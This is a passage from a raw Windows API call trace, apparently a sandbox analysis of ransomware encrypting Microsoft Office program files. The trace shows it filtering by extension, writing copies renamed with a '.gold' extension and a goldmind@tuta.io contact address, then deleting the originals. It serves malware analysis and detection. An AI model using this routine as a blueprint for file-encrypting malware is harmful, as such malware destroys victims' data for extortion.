[0110.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.635] lstrlenW (lpString=".doc") returned 4 [0110.635] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0110.635] lstrlenW (lpString=".docx") returned 5 [0110.635] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0110.635] lstrlenW (lpString=".pdf") returned 4 [0110.635] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0110.635] lstrlenW (lpString=".xls") returned 4 [0110.635] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0110.635] lstrlenW (lpString=".xlsx") returned 5 [0110.635] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0110.635] lstrlenW (lpString=".ppt") returned 4 [0110.635] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0110.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.635] lstrlenW (lpString=".zip") returned 4 [0110.635] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0110.635] lstrlenW (lpString=".rar") returned 4 [0110.635] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0110.635] lstrlenW (lpString=".bz2") returned 4 [0110.635] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0110.635] lstrlenW (lpString=".7z") returned 3 [0110.635] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0110.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.635] lstrlenW (lpString=".dbf") returned 4 [0110.635] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0110.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.635] lstrlenW (lpString=".1cd") returned 4 [0110.635] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0110.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONTAB32.DLL") returned 55 [0110.635] lstrlenW (lpString=".jpg") returned 4 [0110.635] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0110.635] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0110.635] lstrlenW (lpString="ContactPicker.dll") returned 17 [0110.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.752] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=222592) returned 1 [0110.752] CloseHandle (hObject=0x3b4) returned 1 [0110.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll")) returned 0x20 [0110.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll" (normalized: "c:\\program files\\microsoft office\\office14\\contactpicker.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0110.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0110.825] lstrlenW (lpString=".doc") returned 4 [0110.825] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString=".docx") returned 5 [0110.825] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0110.825] lstrlenW (lpString=".pdf") returned 4 [0110.825] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString=".xls") returned 4 [0110.825] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString=".xlsx") returned 5 [0110.825] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0110.825] lstrlenW (lpString=".ppt") returned 4 [0110.825] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0110.825] lstrlenW (lpString=".zip") returned 4 [0110.825] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString=".rar") returned 4 [0110.825] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.825] lstrlenW (lpString=".bz2") returned 4 [0110.825] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.825] lstrlenW (lpString=".7z") returned 3 [0110.825] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ContactPicker.dll") returned 60 [0110.825] lstrlenW (lpString=".dbf") returned 4 [0110.825] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.850] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=10160) returned 1 [0110.850] CloseHandle (hObject=0x3c0) returned 1 [0110.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 0x20 [0110.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.851] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.851] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.851] GetLastError () returned 0x0 [0110.851] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x27b0, lpOverlapped=0x0) returned 1 [0110.853] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0110.854] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.854] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.854] SetEndOfFile (hFile=0x3ac) returned 1 [0110.854] CloseHandle (hObject=0x3ac) returned 1 [0110.854] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.854] SetEndOfFile (hFile=0x3c0) returned 1 [0110.856] CloseHandle (hObject=0x3c0) returned 1 [0110.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\oljrnlr.fae")) returned 1 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString=".doc") returned 4 [0110.857] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.857] lstrlenW (lpString=".docx") returned 5 [0110.857] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.857] lstrlenW (lpString=".pdf") returned 4 [0110.857] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString=".xls") returned 4 [0110.857] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString=".xlsx") returned 5 [0110.857] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.857] lstrlenW (lpString=".ppt") returned 4 [0110.857] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString=".zip") returned 4 [0110.857] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString=".rar") returned 4 [0110.857] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString=".bz2") returned 4 [0110.857] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.857] lstrlenW (lpString=".7z") returned 3 [0110.857] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString=".dbf") returned 4 [0110.857] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString=".1cd") returned 4 [0110.857] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString=".jpg") returned 4 [0110.857] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString=".doc") returned 4 [0110.857] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.857] lstrlenW (lpString=".docx") returned 5 [0110.857] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.857] lstrlenW (lpString=".pdf") returned 4 [0110.857] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString=".xls") returned 4 [0110.857] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString=".xlsx") returned 5 [0110.857] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.857] lstrlenW (lpString=".ppt") returned 4 [0110.857] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.857] lstrlenW (lpString=".zip") returned 4 [0110.857] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.857] lstrlenW (lpString=".rar") returned 4 [0110.858] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.858] lstrlenW (lpString=".bz2") returned 4 [0110.858] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.858] lstrlenW (lpString=".7z") returned 3 [0110.858] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.858] lstrlenW (lpString=".dbf") returned 4 [0110.858] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.858] lstrlenW (lpString=".1cd") returned 4 [0110.858] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLJRNLR.FAE") returned 67 [0110.858] lstrlenW (lpString=".jpg") returned 4 [0110.858] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.858] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0110.858] lstrlenW (lpString="OLMAILR.FAE") returned 11 [0110.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.858] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=10160) returned 1 [0110.859] CloseHandle (hObject=0x3c0) returned 1 [0110.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 0x20 [0110.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.859] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.859] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.860] GetLastError () returned 0x0 [0110.860] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x27b0, lpOverlapped=0x0) returned 1 [0110.861] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x27c0, lpOverlapped=0x0) returned 1 [0110.871] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.871] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.871] SetEndOfFile (hFile=0x3ac) returned 1 [0110.871] CloseHandle (hObject=0x3ac) returned 1 [0110.871] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.872] SetEndOfFile (hFile=0x3c0) returned 1 [0110.874] CloseHandle (hObject=0x3c0) returned 1 [0110.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olmailr.fae")) returned 1 [0110.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.875] lstrlenW (lpString=".doc") returned 4 [0110.875] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.875] lstrlenW (lpString=".docx") returned 5 [0110.875] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.875] lstrlenW (lpString=".pdf") returned 4 [0110.875] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.875] lstrlenW (lpString=".xls") returned 4 [0110.875] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.875] lstrlenW (lpString=".xlsx") returned 5 [0110.875] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.875] lstrlenW (lpString=".ppt") returned 4 [0110.875] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.875] lstrlenW (lpString=".zip") returned 4 [0110.875] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.875] lstrlenW (lpString=".rar") returned 4 [0110.875] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.875] lstrlenW (lpString=".bz2") returned 4 [0110.876] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.876] lstrlenW (lpString=".7z") returned 3 [0110.876] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString=".dbf") returned 4 [0110.876] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString=".1cd") returned 4 [0110.876] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString=".jpg") returned 4 [0110.876] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString=".doc") returned 4 [0110.876] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.876] lstrlenW (lpString=".docx") returned 5 [0110.876] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0110.876] lstrlenW (lpString=".pdf") returned 4 [0110.876] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0110.876] lstrlenW (lpString=".xls") returned 4 [0110.876] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0110.876] lstrlenW (lpString=".xlsx") returned 5 [0110.876] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0110.876] lstrlenW (lpString=".ppt") returned 4 [0110.876] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString=".zip") returned 4 [0110.876] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0110.876] lstrlenW (lpString=".rar") returned 4 [0110.876] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0110.876] lstrlenW (lpString=".bz2") returned 4 [0110.876] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0110.876] lstrlenW (lpString=".7z") returned 3 [0110.876] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString=".dbf") returned 4 [0110.876] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString=".1cd") returned 4 [0110.876] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0110.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLMAILR.FAE") returned 67 [0110.876] lstrlenW (lpString=".jpg") returned 4 [0110.876] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0110.876] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0110.876] lstrlenW (lpString="OLNOTER.FAE") returned 11 [0110.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.877] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=9648) returned 1 [0110.877] CloseHandle (hObject=0x3c0) returned 1 [0110.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 0x20 [0110.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0110.877] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.878] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0110.878] GetLastError () returned 0x0 [0110.878] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x25b0, lpOverlapped=0x0) returned 1 [0110.880] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x25c0, lpOverlapped=0x0) returned 1 [0110.881] ReadFile (in: hFile=0x3c0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.881] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0110.881] SetEndOfFile (hFile=0x3ac) returned 1 [0110.881] CloseHandle (hObject=0x3ac) returned 1 [0110.881] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.881] SetEndOfFile (hFile=0x3c0) returned 1 [0110.883] CloseHandle (hObject=0x3c0) returned 1 [0110.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\olnoter.fae")) returned 1 [0110.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\OLNOTER.FAE") returned 67 [0110.884] lstrlenW (lpString=".doc") returned 4 [0110.884] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0110.884] lstrlenW (lpString=".docx") returned 5 